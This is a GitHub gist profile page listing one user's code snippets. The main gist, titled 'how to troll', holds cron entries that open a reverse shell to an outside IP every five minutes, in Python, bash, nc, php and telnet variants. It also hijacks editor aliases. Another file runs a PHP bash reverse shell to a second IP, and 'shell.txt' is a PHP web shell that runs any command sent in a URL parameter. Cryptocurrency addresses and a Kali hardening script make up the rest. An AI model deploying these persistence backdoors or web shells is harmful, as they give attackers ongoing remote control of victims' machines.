Skip to content

Instantly share code, notes, and snippets.

View NitescuLucian's full-sized avatar
🎯
Focusing on Personal Projects ;)

Lucian Nitescu NitescuLucian

🎯
Focusing on Personal Projects ;)
View GitHub Profile
@NitescuLucian
NitescuLucian / alldaypwn
Last active October 2, 2019 10:41
how to troll.
*/5 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.95.196",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
*/5 * * * * touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.95.196 4444 > /tmp/f
*/5 * * * * bash -i >& /dev/tcp/10.0.95.196/4444 0>&1
*/5 * * * * nc -e /bin/sh 10.0.95.196 4444
*/5 * * * * php -r '$sock=fsockopen("10.0.95.196",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
*/5 * * * * TF=$(mktemp -u); mkfifo $TF && telnet 10.0.95.196 4444 0<$TF | /bin/sh 1>$TF
sudo apt-get install vigor
echo alias vi=vigor | sudo tee -a /etc/bash.bashrc
echo alias vim=vigor | sudo tee -a /etc/bash.bashrc
echo alias emacs=vigor | sudo tee -a /etc/bash.bashrc
<?php
$a = system("bash -i >& /dev/tcp/45.32.187.31/8081 0>&1");
echo $a;
?>
@NitescuLucian
NitescuLucian / shell.txt
Created January 19, 2019 13:45
php shell
<?php
$output = shell_exec($_GET['cmd']);
echo "<pre>$output</pre>";
?>
ola!
@NitescuLucian
NitescuLucian / gist:0adec66d16d89d510499b2d1b2aac739
Created August 18, 2017 21:05
0x3E69CaD23d8A74b7F89C3634Cb92E5B517AA80e4
0x3E69CaD23d8A74b7F89C3634Cb92E5B517AA80e4
0x1aD77B403d4EB152C9A5FF2aEa5f0c4D66bd063e
@NitescuLucian
NitescuLucian / gist:e36e51fce989e9ddcd0c44c07492f486
Created August 18, 2017 20:42
0x155E7b94E94d8aa655D34fb131F5D02F3D78887d
0x155E7b94E94d8aa655D34fb131F5D02F3D78887d
@NitescuLucian
NitescuLucian / kali.sh
Created March 12, 2017 21:47
Kali Linux Hardening.
apt-get clean
apt-get update
apt-get upgrade -y
apt-get dist-upgrade -y
passwd
apt-get install chkrootkit
leafpad /etc/hostname
leafpad /etc/hosts
updatedb
cat /etc/shadow | awk -F: '($2==""){print $1}' > ./no_password_users.txt